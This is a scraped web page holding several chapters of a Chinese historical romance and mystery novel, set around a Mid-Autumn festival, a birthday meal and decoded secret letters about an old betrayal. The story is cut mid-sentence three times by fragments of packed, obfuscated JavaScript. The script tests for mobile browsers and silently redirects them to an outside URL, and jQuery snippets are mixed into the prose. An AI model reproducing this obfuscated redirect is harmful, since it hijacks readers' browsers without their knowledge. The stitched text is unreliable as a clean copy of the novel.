d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708409|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岫此后再也没单独约过他。 他后来鼓起勇气跟温老将军提亲,但温老将军却说他做不了主,而温岫本人也不同意。 再后来,便是得知了她的死讯。 他一直很后悔,当初为何要同她置气,为何要将她越推越远。 “她原本叫什么名字?”他最后问。 如果他有来生,他希望能在她的时代重新找到她。 “姜竹。” 叶知秋略不自然地笑着离开了。 在那一瞬间,姜暖似乎看到了原本凌冽的刀身上映照出了一丝残阳的红光。 她追上沈晏的时候,马车正停在半道上。 姜暖还以为是特意在这里等自己,走近了才发现路边睡着一只小狗崽,孟曦正打算差人将狗崽捡回去。 那狗崽不知道怎么回事,肚子吃得圆鼓鼓的,却昏睡在路边,被车夫提着脖子晃了半天都没醒。 “它吃什么了,怎么这么臭啊……” 孟曦捂着鼻子,车夫将狗拿远了点,问:“小姐,那还抱回去吗?” 这狗崽子通体黄色,除了肚子鼓囊囊的,其他地方都瘦的可怜,不知道是吃了什么不干净的东西,生了怪病也未可知。 “不要了。”孟曦瓮声瓮气道,原本见小东西可怜想带回去养,但这实在是太臭了! 不过她也心软,吩咐了车夫待会儿给它找一户需要看家护院的农家。 宋怀轩突然没头没脑地嘀咕了一句:“这棵树挺眼熟的。” 姜暖和沈晏随着他的视线看过去,果然看到一颗十分眼熟的大树。 这不是她来的时候,被颠吐的地方吗? 姜暖往那树根处一看,果然发现了一点呕吐物的痕迹,周围还有舔食过的痕迹。 “不是吧……” 沈晏脸色微变,和马车保持了一个较远的距离,姜暖默契地跟在他旁边,打算忘掉那个小狗圆滚滚的肚皮。 宋怀轩一回头发现背后空无一人。 ? 怎么了这是,怎么一个两个脸色突然变得这么难看。 他多嘴的后果就是,他的脸色也变得不好看了,三个人跟沉默地坠在马车后面,努力清空刚才的记忆。 最后在东市分别时,宋怀轩突然想起了一件事来。 “再过不久便是中秋节,令仪已经写好了帖子邀你一道游玩。” 姜暖道:“好说,反正我那日无事。”说完扭头看沈晏,“世子一起么?” 沈晏神色淡淡道:“我那日有事,就不陪你了。” 姜暖看他面色不佳,以为还在因为那事儿难受着,便没多问。 倒是和宋怀轩又聊了一下中秋节的灯会以及祭月盛典,回过神来的时候,发现沈晏已经打马走远了。 姜暖匆匆结束话题追了上去。 “中秋节过后,我想在西市租个小院子,搬出去住。” 东市的价格肯定很贵,她如今虽然身上有点小钱,但也要精打细算才行。 沈晏的脸色原本就称不上好,此刻可以说是更糟了。 “你哪儿也不能去。” “我在镇安司任职这么久,一直住王府也不合适。”外面一直在传她和沈晏的二三事,虽然不知道七殿下又是怎么加入的,听说西市的茶楼酒肆里都有她的传说了。 “你要是怕我跑路,大可以派几个人监视我。” 沈晏想也没想就驳回了,并态度强硬地拒绝:“你不在我眼皮子底下我不放心。” 姜暖:“……” 行吧,再谈下去,估计要谈崩了。 得不偿失,以后再说。 38. 第 38 章 八月十五,中秋佳节。 大昭一年之中比较重要的一个节日之一,城内会有祭月活动。一般分为两个部分,长乐宫中,当由钦天监操办,搭建月台,摆上供品。 在典礼开始前要吟唱祭月词请月神降临,再由皇帝在祭台上将苍玉和丝帛敬献给月神,接着台下肃立两侧的文武百官跟随皇帝行三献礼,行三跪九叩大礼。 最后,众人再一次吟唱祭月词,皇帝和文武百官行鞠躬礼,恭送月神归位。 今年,皇帝病重不适合祭月,按祖宗礼法应当由太子代行,但此时太子正在永州治水,文武百官商讨过后,投票选举了七殿下来担此重任。 皇后得知此事,拖着病体求见皇上,却被总领太监万来祥拦在了殿外。 而民间的祭月便相对简单一些。 东西两市的大街交汇处设置了两层楼高的小月台,其上摆放着一个巨大的孔明灯,灯面绘制了栩栩如生的月神画像。 适龄少女可自行登上游街的花车,参加祭月仙子的遴选。最后由手里花签最多的少女登上小月台,放飞月神灯。 今日天还未完全黑下来,宋令仪便携了徐瑶和程宝月来安王府找姜暖。昨夜姜暖想事情想了一晚上,三姐妹人来的时候,她刚醒。 彼时她眼睛都还没完全睁开,就看着三个穿得五颜六色的少女像三只花蝴蝶似的往她眼里扑。 “哎哟,我的好姐姐,你头发怎么像个鸡窝子。”徐瑶笑得咯咯咯的,像一只蓝色的凤尾蝶翩跹而来。 宋令仪也笑意盈盈,一把拉住了姜暖的手坐下。 “我就知姜姐姐不喜打扮自己,喏。”她下巴指了指身后丫鬟捧着的托盘,“我们三个特意给你准备了新衣服。” 姜暖瞬间清醒,抗拒道:“我可以不穿黄裙子吗?” 自然是…… 不行的。 她话还没说完,就被宋令仪和徐瑶一边捉了一只手去,架到了梳妆镜前。一个负责梳妆,一个负责换衣服。 而程宝月则被院子中的一个小玩意儿吸引了全部的注意力。 两个小丫鬟在房间里看着姜暖像个不倒翁被拨过来拨过去,笑得眼睛都看不见了。 徐瑶一边给她簪珠花,一边说着甜话:“姜姐姐,你这脸怎么生的如此好看呐~” 说着还上手摸了摸,羡慕道:“我这成天抹珍珠粉都不如你皮肤细腻,姐姐从前的夫君可真是好福气。” 姜暖原身是小寡妇的身份在昭宁城的后宅中早已不是秘密,不过大昭向来重视子嗣,倒是对女性的贞洁没有那么苛责。 因此一些守寡的寡妇在媒婆圈反而更受欢迎,特别是育有儿女的,更是好女难求。 姜暖对那个意外死去的“夫君”并不熟,穿过来这么久倒是没怎么在意过自己新寡的身份。冷不丁被提起,她倒一时不知道怎么作答。徐瑶又期待地问:“姜姐姐以后还打算嫁人么?” 宋令仪替姜暖穿好腰带,打趣徐瑶:“怎么?瑶姐姐打算将人讨回去做老婆不成?” 徐瑶一下就歪在了姜暖的肩膀上,楚楚可怜道:“我倒是想呢!可惜呀……”她话音一转,眉目含嗔。 “我没种呀~可生不了小娃娃。” 宋令仪红着脸去打她,“瑶姐姐哪里学的浑话来!” 姜暖一把把住徐瑶的胳膊,不让她躲,笑道:“这有啥?你去找个好看的借个种便是。” 这回,不止宋令仪红了脸,连徐瑶也不好意思起来。 三个人拉拉扯扯,往日清冷的屋子更显热闹起来。 “姜姐姐,你小院里那个怎么玩啊?”程宝月不知道何时探了个头进来,脸上有一种新生儿般的懵懂情绪。 院中榆树下有一个姜暖自己搓的飞镖盘,用来打发时间的同时也练练准头。而飞镖则是用了七殿下送的各款发钗,算是物尽其用。程宝月刚才在院中研究了一番,只觉得稀奇。 姜暖知她平日好玩,便给她简单解释了一下使用方法。程宝月眼睛亮了又亮,恨不得马上回府安排上。 “你今日可是要登花车的,可不准半路跑了。”徐瑶将人拉住。 登花车的女子都是十四到十六岁,程宝月今年刚好十六。她与宋令仪都当过祭月仙子,程宝月作为她们的好姐妹,怎么能缺席这种活动呢。 往年借口推脱便罢了,今年她怎么也得参加。 程宝月见躲不过,不大乐意地撇撇嘴:“选不上可不能怨我。” “不怨你不怨你。”宋令仪拉过她的手,四个人便叽叽喳喳地出了门。 康伯满脸慈爱地将她们送出了王府大门,待回过身时,又换上了一副愁容来。 不知道他家世子什么时候才能过上一个开开心心的中秋节。 城郊静山,广济寺。 沈晏提着一盒母亲爱吃的糕点,缓步踏过几百个台阶,山门的僧人早已等候多时。 “阿弥陀佛。” 每年八月十五这天,安王世子便会提着一盒糕点早早地登上静山,与居住在广济寺的安王妃待上一整天。 风雨无阻。 今年已经是他接待的第二十个年头,巳时一刻,不早不晚。 僧人照例将沈晏领到了靠近后山的一处幽静居所——青竹居。此时,青竹居的大门已敞开,一位打扮朴素的妇人正候在门口。 此人是安王妃的陪嫁丫鬟,春桃。今年已过五十,旁人都叫她林嬷嬷。 林嬷嬷看到沈晏的瞬间,眼尾的皱纹加深了些,她面露慈爱:“小世子快些进来吧。” 二人入内后,又沿着两侧密集的竹林走了一会儿,便看到了一处简易的居所。此时院中正坐着一位穿着深色素衣的妇人,头上戴着一支白玉簪子,眉眼间略带着三分愁绪。 桌子上放着一个棋盘,但棋盘上未落一子。 沈晏将糕点放在桌子上,恭恭敬敬道:“母亲,近来可安好?” 安王妃点点头,抬手道:“坐吧。” 林嬷嬷上前将盒子打开,将糕点取出来,又从厨房里取了一碟枣泥糕。 枣泥糕是王妃今日一早便做好的,每年今日,都如此。 “世子今日可有什么想喝的茶?” 沈晏取了一颗棋子,道:“与母亲一样便好。” 母子两人沉默地下着棋,林嬷嬷在厨房忙活,所用的食材都是平日里和王妃亲手种的。她一边瞧着灶上的火,一边分心去看院中的二人。 “听说王府来了一位女子?” 安王妃低垂着眼,脸色的神色未变,依旧是没什么表情。 沈晏嗯了一声,对于母亲为何会知道此事并不惊讶。她虽然常年在寺中居住,但寺庙中常年有官员家眷礼佛参拜,林嬷嬷又常在寺中帮忙,所以想知道一些城内的消息,并不算难。 “可是心悦她?” 沈晏又嗯了一声。 安王妃又问:“那她心悦你么?” 沈晏手里的黑子迟迟没落下,眉心微皱,他的母亲不知何时抬起头来看他。 踯躅许久,他终于落子。 “儿子不知。” 他落子的手刚要撤回,便被母亲按在了棋盘上。他望进母妃的眼睛里,脸上写满了惊讶。 母亲已多年不曾牵过他的手。 只听她突然叹息一声,郑重地说道:“切不可勉强。” 沈晏神色微顿,点点头:“儿子知道。” 安王妃这才松开他的手。 林嬷嬷在厨房里突然高兴地哼起了童谣,觉得今年王妃和小世子的关系终于近了一步。 夜幕四合,一轮圆月悄然升起。 姜暖穿着颜色明丽的裙装,同宋令仪她们穿梭在热闹的街头。一排排花灯挂满 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“我原本正要过去,但听到了屏风后面有个女子的声音,听着像是苏家的小姐。” 徐瑶问:“孟曦呢?” 这两人跟双胞胎似的不分你我,既然苏酥在,那孟曦肯定也在附近。 姜暖余光瞥见了楼下的情形,拍了拍徐瑶的肩头,“那儿呢。” 孟曦正站在街头给另一位姑娘拉票,似乎是故意不想让程宝月赢。姜暖的视角恰好看见程宝月犯了个白眼。 “等她俩闹一闹,我们过去看戏,快快快。”徐瑶迫不及待地离开,生怕赶不上好戏。 姜暖和宋令仪也赶紧跟上去,姜暖甚至还顺手抓了一把瓜子,塞了一些给宋令仪。 二楼的露台很大,两个雅间的位置刚好一头一尾。三个人悉悉索索地穿过小道,趴在了一扇蝶弄花的屏风后偷听。 “苏小姐,你方才要与我说什么?” 祖母挑中了苏家的小姐,但他并不想娶一个自己不喜欢的人,于是交换庚帖一事就这么拖延下来。 没成想,苏姑娘今日却找了过来。 咔嚓咔嚓—— 徐瑶听着耳边响起的咔嚓声,回头便看到两个人正在嗑瓜子,节奏异常地一致。 不给我带? 姜暖看出了徐瑶眼中的责怪,大方地将手里剩下的分了一半给她。 “你……你可是嫌我长得不好看?”屏风内,苏酥似乎是做了很久的心理建设,一方小帕子都快被她揉烂了。 宋怀轩惊讶:“没有啊,苏姑娘生的不丑。” “那你为何不想娶我……”苏酥的眼眶里含了泪。 宋怀轩老实巴交道:“因为我想娶自己喜欢的人,苏姑娘也应该嫁给自己喜欢的人。” “可我……”苏酥咬紧了下唇,泪水啪嗒啪嗒往下掉,脸颊上确是绯红一片。 宋怀轩看着眼前哭成泪人的姑娘,一时间慌了神。“苏姑娘你别哭啊……” 苏酥一咬牙一闭眼,一副豁出去了的样子。 “可我十分喜欢你呀!” 嚯!!! 惊得屏风后的三人停止了咀嚼,三个人恨不得把眼珠子扣下来嵌进屏风的空隙里。 苏酥说完那句话,就红着脸跑走了,逃得宛如壮士断腕那般干脆。 宋怀轩整个人的表情仿佛凝固了,身体保持着一个姿势一动不动,若不是眨了一下眼睛,还以为他是个摆件呢。 “苏小姐看着怯生生的,想不到胆子这般大!”徐瑶脸上的震惊还未收起来,宋令仪接话道:“人不可貌相呐~” 姜暖吃完手里最后一颗瓜子,摇头叹息道:“怎么年纪轻轻就吃上爱情的苦了。” 39. 第 39 章 戏看完了,三个人悄然离场。 楼下的花车队伍已经在东西两市游行了一个来回,距离祭月仙子的选拔也快接近尾声。围聚在小月台的人突然多了起来,程宝月篮子里的花签少得可怜,但她却半点没有不高兴的样子。 今年的祭月仙子不知道是哪家的姑娘,但那姑娘的篮子里有一半儿的花签都是孟曦的暗中支持。 咱孟家大小姐不差钱。 程宝月从花车上下来,觉得无比轻松,噔噔噔爬到楼上,牛饮了一大口茶水。 徐瑶批判她:“宝月呀~你怎么这么不争气。” 程宝月嘴里含着糕点,吚吚呜呜道:“那孟曦不让我赢我能咋办嘞。”说着还装无辜地双手一摊,一副我也没办法的可怜样。 姜暖倒是毫不留情地拆穿她:“我可瞧见你做鬼脸了。” 之前有个小孩儿想把手里的花签投给她,结果她朝着人家做鬼脸,给人吓跑了。 “乱讲!”程宝月手一撑就站起来了,义正词严道:“我那是眼睛里进飞虫了。” 徐瑶端着茶杯优雅地翻了个白眼,表示不信。 姜暖敷衍地嗯嗯嗯。 只有宋令仪在一旁笑得乐不可支,“哎哟,你这手上脸上都是糕点碎屑,丑死了赶紧擦擦吧。” 祭月仙子点完灯后,人群的欢呼声达到了顶点。 街道中心开始了各种各样的表演,彩色的花灯似一条游龙一般,穿梭在人群中。人们开始佩戴着各种各样的面具投入到这热闹的庆典中。 姜暖的瞳孔中映出热闹的人群,脸上虽始终挂着笑意,可心中却莫名地空旷下来。她虽然身处人群中,却又感觉离人群很远。 也不知是宋令仪还是程宝月,又或是徐瑶。 她拉着自己穿梭在热闹的人群中,耳畔是小孩的嬉笑声,还有此起彼伏的鼓点。她觉得她此刻应当是乐不思蜀的,但脑海中却不知为何浮现出沈晏的一双眼睛。 看起来十分平静漠然,但又好像藏匿了一丝难过在眼底,隔着一层薄薄的白雾,她看不分明。 耳边忽地传来今日康伯的念叨:“我们家世子啊,八月十五的时候最是难过了。” 沈晏今日一早便离了府,那会儿天刚蒙蒙亮,她眯瞪着一双困得不行的眼睛摸去厨房,打算填一填饿了一晚上的肚子。 那会儿康伯正在厨房装一盘精致的糕点,姜暖正想伸出贼手,却被康伯温柔地拍开了。 “这盘装好了,你要吃吃那屉里的。” 姜暖机械地点点头,然后像个鬼似的游荡过去。康伯似是止不住话头了,开始自个儿在那儿嘀咕。 八月十五,中秋佳节,也是他们世子的生辰。而每年的今天,安王妃才会接见世子,母子会在一起待上一整天。 每年的今天他也会早早吩咐厨房做一碟王妃从前最爱吃的糕点,让世子带给王妃。 “今日是他生辰?”姜暖那会儿微闭着眼睛,嚼着嘴里的干巴糕点问。 康伯提着食盒正要走,听到姜暖这么一问,他又停下来,话里有话道:“是啊,可是每年生辰他都没吃上一碗长寿面。” 姜暖:“不爱吃?” “府里的厨子不会做。”康伯清了一下嗓子,试探道:“要不今年姜姑娘做一碗给世子尝尝?” 姜暖脑子有点茫然:“这么大个王府连一碗长寿面都做不出来?” “做了,世子不吃。”康伯表情有点尴尬,“估计是不合口味。” “他就是因为生辰没吃到长寿面才难过的?”姜暖莫名其妙地问了这么一句。 康伯立马附和:“对对对。” 然后姜暖不太清醒的脑袋就点了点,应下了康伯的要求。 现在清醒过来的她突然想起了此事,觉得当时一定被鬼摸了脑壳,不然为什么会觉得沈晏吃不到一碗面很可怜。 康伯也演她! 正出神中,猝不及防撞到了一个人。 鼻腔里传来一股熟悉的香味,她乍然回首,却见一位梳着灵蛇髻的女子正弯腰捡落在地上的花灯。 她也穿着一身鹅黄色的衣服,脸上戴着表情狰狞的鬼神面具,右手的手腕处画着一支梅花。 “你没事吧?”姜暖有点抱歉地问。 那女子提着花灯轻轻后退一步,摇了摇头,最后转身消失在人群中。 姜暖在原地站了一会儿,四下看了看,才发觉自己好像和那三个走散了。 糟了,看来吃爱情的苦会传染。 姜暖从街边买了一串糖葫芦,一边吃一边沿着永济河往上游寻过去。方才好似听到了宋令仪说她们要去放花灯来着。 半炷香后,她果然在河边见到了正返回来寻她的宋令仪。 “我们说两句话的功夫,一回头发现你竟不知何时走丢了。” “不过我方才差点将别人认成了你。”宋令仪与姜暖并肩走着,将方才的奇特经历跟她讲了讲。 “那女子穿着一身黄色的衣裙,远远瞧着背影像极了你,我便大着胆子上前去拉了一下她的胳膊。谁知道她头一转过来……”说到此处她突然大叫一声,试图吓一吓姜暖,但姜暖没反应。 宋令仪顿觉无趣:“她戴了个骇人的鬼面具,着实吓了我一跳。” 姜暖听到这里感觉有点熟悉,问:“那面具可是青面獠牙?” “唉,你怎么知道?你也遇到了?” 姜暖点点头:“之前撞到过类似打扮的女子。” 宋令仪继续道:“后来我瞧着她衣服款式和你不同,又梳着灵蛇髻,才反应过来是认错人了。” 又说:“那女子的手腕处画着一枝梅花,应当是花灯巷温柔乡的掌柜。” “温柔乡?”姜暖的眉头微微皱起。 怎么听着不像是个正经的店铺。 宋令仪便跟她科普:“这温柔乡是花灯巷较为有名的歌舞坊,据说掌柜的右手手腕处有一支梅花刺青,唤梅娘。” 歌舞坊与青楼有些微不同,坊内女子以歌舞为生,挂牌接客也有,淸倌儿也有。相较于青楼的靡靡之音,温柔乡的歌舞更高雅一些,接待的客人也多为文人墨客。 姜暖了然,高端娱乐会所嘛。 “不过你怎么这么了解?” 宋令仪微微红了脸,嗫嚅道:“早些年因为好奇,去见识过。” 姜暖理解地点了点头。 歌舞么,女的也爱看。 正常,正常。 四个人碰面一起放了花灯,姜暖瞅着时辰不早了便和三人告别,打道回府。沈晏也恰好从广济寺回来,两人在王府的大门口不期而遇。 “你回来啦。”姜暖干干巴巴地打了个招呼。 裹着一层寒意的沈晏看着确实不大高兴,嘴唇紧紧抿着,也不进去,就直愣愣地盯着姜暖瞧。 姜暖在他的注视下,试探地又开了口:“生辰快乐。” 沈晏嗯了一声,还是没动。 姜暖有点受不了被他这么看着,她垂下眼睛避开他的视线,“回去吧,外面还怪冷的。” 他漆黑如点漆的双眼在夜色中荡开一圈水纹来,低声说了两个字:“饿了。” 姜暖表情怔愣,抬眼便撞进了他眸中,漆黑如墨的瞳仁似旋涡,将她的思绪牢牢吸附住。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718673|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在……撒娇? 姜暖掐了掐手,费力地移开视线,问:“面吃不吃?” 沈晏乖巧地点了点头。 姜暖顿时倒吸一口气,勉强稳住了心跳,若无其事地进了大门。 沈晏紧紧地跟在她的身后,她要是稍微慢一点,估计能直接撞在沈晏的胸膛上。 一股甜香丝丝缕缕像个蛛网似的从后面袭来将她网住,她忍不住虚空扒拉了一下,但是那股香味却始终萦绕在她的鼻腔里。 心跳有些乱,一直到厨房才勉强冷静下来。 她做饭的手艺不佳,煮煮挂面还成,但自己和面还是颇有难度,她心想要不干脆煮俩鸡蛋算了。 没成想,厨房的案板上早已妥帖地放好了一排切得很漂亮的新鲜面条。 姜暖:“……” 她是不是被算计了。 沈晏在门口的台阶上乖乖地坐着,姜暖看着那个圆润的后脑勺,心一横,袖子一撸便开始干活。 最终,一碗长寿面被姜暖煮成了疙瘩汤。 为了挽回一点自己的信心,她卧了两个鸡蛋,撒了一点油辣子和葱花点缀,两碗川味疙瘩汤就这么出锅了。 沈晏看着这一碗红白红绿的,只略皱了一下眉头,便捧着汤碗坐在门口的台阶上小口吃起来。 姜暖端着碗坐在他旁边,见他吃着也没吐,用筷子搅匀了佐料,呼噜噜地喝着疙瘩汤。 沈晏突然说:“我今日见了我的母亲。” 姜暖的脸埋在碗里,把碗转了半圈头也没抬:“挺好。” 沈晏看着她的发顶,还有鼓起来的两颊,眼里盛满了笑意。 “母亲问我是否有心仪的女子。” 姜暖继续猛吃。 “我说有一个。” 姜暖碗里的疙瘩汤已经下去了一半儿。 “但我不知对方的心意。” 呼噜噜的声音停滞了一下,沈晏用手撑着脸,歪着头问她:“你能帮我确认一下吗?” 姜暖被呛了一下。 沈晏伸手帮她拍背,紧张地问道:“我是不是吓着你了?” 姜暖平复了一下气息,转过身来看他一眼,“你到底饿不饿?”这人不是饿了?怎么还有闲心说一些莫名其妙的话。 “你不吃给我!”姜暖做势要去抢碗,沈晏身体微微往后仰,将手里的碗拿远了些,同时右手顺着她的后背下去揽在她的腰间。 “这是我的。” “那你赶紧吃,食不言寝不语哈。”姜暖正打算坐回去,才发现腰间已经搭上了某人的手。 沈晏佯装看不见她质问的眼神,反而将头又抵近了一寸,一把嗓音柔得溢出水来。 “小师姐,你还没回答我的问题呢。” ? 小师姐这三个字似乎刮在她的耳膜上,轻微的震动酥麻得直窜她的天灵盖。说时迟那时快,她一手端着碗,一手拿着筷子,姿势滑稽地从台阶上起身,可以称得上是落荒而逃。 “我还有事儿,先睡了拜拜。” 沈晏起身:“要我帮忙吗?” 姜暖走得更快了,跟有鬼在后面撵一样。 “你不准跟上来!” 真是见了鬼了,沈晏怎么突然变话多了,还张口就来,什么小师姐小师弟,师父她老人家承认么! 沈晏坐在台阶上,一口一口地将那碗不太好吃的疙瘩汤吃得干干净净。 心里想着方才姜暖的反应,不禁哑然失笑。而原本冰凉的双手也因为这碗疙瘩汤下肚而热乎起来。 深夜时分,唐家两兄弟突然造访。 “世子,东西找到了。” 40. 第 40 章 周正与青衣的相识始于一场意外。 当年周正初到漓州,在边陲小镇任职,负责整理和编纂当地的县志。 他外出采风的时候遇到了被人跟踪的青衣,当时她撑着一把油纸伞从那桥上走来,一眼便望见了桥下呆站着的他。 “妾来晚了,郎君勿怪。” 他根本不认识这个女子,但这女子十分熟稔地将伞置于他的头顶,还掏出怀中的袖帕擦拭他被细雨打湿的鬓发。 “帮帮我。” 她压低了嗓音在他耳畔小声哀求着。 周正只觉得伞外春风细雨,绵绵密密,伞内的一方小天地却天地瞬静,呼吸交融。 此后,本以为只是一次萍水相逢,却转身又在街头的一间狭小的书铺相遇。 他还是如初见那次脸色红得好似枝头开得最热烈的芍药,期期艾艾地说道:“姑……姑娘这书……书给你吧。” 他收回了取书籍的手,局促地站在一边,低垂着头不敢看青衣,指尖轻轻地摩挲着,仿佛刚刚不小心碰到的是一块烧红的烙铁而不是姑娘细腻的柔荑。 “呆子。” 从那天之后,他们时常相约在郊外的凉亭相见,总有说不完的话。青衣也将密文教给了周正,周正也逐渐猜到青衣的身份或许没有表面上那么简单。 后来,他因为编纂县志有功,县令大为嘉奖,他也慢慢从一个编纂县志的小官儿变成了县丞,负责府衙的大小事务。而青衣则在南疆的月城开了一家首饰铺子,长期待在南疆做生意,还得到了南疆皇室夫人们的青睐。 他们两人时常通过密文联系,那家狭小书铺的掌柜便顺理成章地成了两人传信的信使。 一直到青衣出事前夕。 周正日日去书铺,却始终等不到青衣的书信。 后来的某一天,书铺掌柜的儿子揣着一本书来找他,说是青衣送给他的书。他翻开一看,发现里头竟然用密文密密麻麻地写了好几页,杂乱无章地夹杂在书中。 他匆匆看完后顿时觉得天旋地转,密文中所写之事令他久久不能回神。他将自己关在卧房中两天两夜,最终将那几页写满密文的纸全都撕了下来,妥善保存。 不久,他又收到了青衣的密信,信上约他见面,可那时候他的母亲已经失踪了许久。 皇后的人挟持了他的母亲,要他用青衣的性命来换她母亲的平安。 他万般无奈,最后设计将青衣逼迫到了青罗江,眼睁睁看着她跃入湍急的江水中,生死不明。 当认出尸体不是青衣的那一刻,他是高兴的,至少她还有活着的可能。说不定是有人帮她设计了这一出金蝉脱壳,好逃脱皇后和李家的追杀。 随后,他结婚生子,因为依附了皇后的势力,官途也变得顺风顺水。他一边为皇后办事,一边将那暂时不能见光的罪证封存在了佛像中。 他此生,为官不够聪明,为人懦弱无能。若有朝一日不幸殒命,但求黄泉路上能见一眼青衣,足矣。 …… 唐枳带来的佛像因为风吹日晒表面斑驳了一些,细看之下佛像底部有明显的修补痕迹。沈晏接过姜暖递过来的匕首,沿着底部边缘的缝隙小心翼翼地游走。最后用力一撬,将底部一整块都撬了下来,一卷写满了密文的纸张便掉了出来。 姜暖将那厚厚一卷纸展开,发现纸张的材质分为两种,其上的笔迹也分别属于两个人。 略粗糙的纸是南疆的特有,上用密文写满了文字,应当是青衣的笔迹。 姜暖在案牍前坐下,提笔将那一连串的密文翻译出来。 而另一卷细腻的纸上面写的是大昭的文字,应该是周正所写。沈晏顺势在姜暖旁边坐下,捏着细腻的纸张细细阅读。一时间,屋内寂静无比,只有纸张摩擦的声音。 当年的真相也在姜暖的笔下渐渐变得清晰起来。 承安二十八年,青衣在南疆的王宫内替当时最受宠的妃子挑选生辰宴当天所佩戴的首饰。那妃子的弟弟是南疆一位年轻的将领,也曾是温岫的手下败将。 那日,宠妃的弟弟来王宫探望姐姐,但话还没说上两句便匆匆离开了。 青衣察觉有些不对劲,那位将军常年待在月城,每次来探望姐姐定要说上许久的话,像今日这般来去匆匆倒是少见。 她便留了个心眼,费了些心思从宠妃的嘴里探听到了他今日来王宫并不是专程来看望她这个姐姐的,而是有一件要事要同皇上商量。 那宠妃靠在贵妃榻上,被婢女伺候着染指甲,懒洋洋道:“也不知是什么好事竟让他高兴成这样。” 青衣捧着精挑细选的首饰万分恭敬地替宠妃试戴,随口道:“许是为娘娘生辰礼高兴呢。” 宠妃在镜子里白了她一眼,道:“得了吧,我这个弟弟什么性子我还不清楚?” “自从之前被大昭那个女将军打得漫山遍野地跑后,他就没怎么笑过,成天就知道待在臭烘烘的军营里研究怎么报那一箭之仇。今日春风满面,许是想到了对付那女人的办法。” 首饰佩戴好,宠妃揽镜自赏了半天,满意道:“就这套吧,显得我气色好。” 青衣笑着道了声好,动手将首饰小心翼翼地取下,心下却在盘算怎么潜入前庭探听一些消息。 那一箭之仇的故事她倒是听过的,据说当时温岫将军将人堵在山里几天几夜,麻奴将军带的几个手下早就死了个七七八八。最后被亲卫护送离开时,又被一箭射中了屁股,让他在床上躺了好些日子。 此后,这两人的梁子也算是结下了。麻怒将军还说过,此生必报此仇,定要让温岫死无葬身之地。 青衣从宠妃的宫殿离开后,便换了一身宫女的衣服预备偷偷潜入前庭。但奈何看守实在严密,进进出出都要查验身份,她只好暂时作罢。 最后许是运气好,她竟然在离宫的路上意外听到了麻奴将军和手下的交谈。 “将军,为何大昭的人要与我们做交易,杀掉他们的世子?”一位长得十分黝黑的汉子正询问身旁眼神狠辣的青年。 青年嗤笑道:“大昭人的心最是弯弯绕绕,我才懒得去猜。” 又说,“不过若是能帮我杀了那个娘们儿,倒是也合了我的心意,去见见又何妨。” “不会有什么陷阱吧?”汉子表情略有点犹豫,一个小小的世子便罢了,对方竟然还答应一起除掉那位战功赫赫的女将军。 这简直是送上门来的大礼,他都要怀疑是不是他们南疆的细作已经在大昭皇城里当了大官儿了。 青年哼了一声,道:“人都在我们地界,能有什么陷阱?” 又扭头吩咐他道:“巴戎,三天后对方会派人来月城驿馆详谈,你去找几个兄弟将人看着。” “是。” 待两人走远,青衣才从旁边的花坛后现身,脸上写满了震惊。 兹事体大,她决定亲自去驿馆一探究竟。 三天后,她果然在驿馆内发现了一位神秘的客人,那人行事相当低调,且十分警惕。 她一时找不到机会核验对方的身份,便只好按兵不动,等待麻奴将军亲临驿馆。 这一等,便是五天。 那位神秘来客却镇静非常,没有丝毫不耐,就连麻奴将军不甚尊重地将长腿搁在他吃饭的矮桌上,他也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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青衣将此事告知给上峰之后,在店中一连等了多日都没有收到回信,心急如焚的她只好孤身潜入麻奴的营帐探听消息。 谁知在南疆的军营中却遭逢意外,险些暴露身份。所幸千钧一发之际有人替她打了掩护,这才逃过一劫。 万万没想到,替她打掩护的竟然就是她的上峰。他在收到她的消息后便混入了军营当了个做饭的伙夫。 上峰将手里探听的消息递给她,让她赶紧想办法通知温岫将军敌军的部署,而他要继续利用伙夫的身份留在此处寻找皇后勾结南疆的物证。 青衣不疑有他,将手里的消息转译成密文几经辗转才递到了青罗城。 本以为最大的危机已经暂时解除,但温岫将军还是死在了南疆的围剿之下,三万将士只得那安王世子一人存活。 更令她想不到的是,她传递到青罗城的密文竟然被当成她通敌叛国的罪证!她于慌乱之中潜入军营寻找上峰却被告知查无此人,还险些被麻奴手下的人抓住。 直到那时,她才反应过来,她也是被设计的一环! 那日驿站内的神秘来客才是她真正的上峰,他们联合起来利用她将那份假的军情消息递交给温岫,从而导致安王世子将计就计,带领三千骑兵为饵反杀麻奴麾下的精兵。 可最后却被套中套,困死在了峡谷深处。 她无奈之下,逃进了无极山中,一路靠着温岫曾经交给她的知识辨别青罗城的方向,历经千辛万苦终于逃回了大昭。 她原本想洗刷自己的冤屈,但奈何她早已成了过街的老鼠人人喊打。 最终她被逼迫到了清罗江畔,一跃而下。 41. 第 41 章 沈晏看着翻译出来的内容久久不能言语。 当年他们确实收到了一封神秘的来信,信中的密文他看着有些眼熟,似乎是之前温岫曾教过他的一首歌。虽然曲调发音奇怪,但唱着朗朗上口,像是一首儿歌。 不过这信上所写的符号倒是他看不懂的顺序,温岫神秘兮兮地说,这就是她后面要教给他的神秘字符,便于传递一些消息。 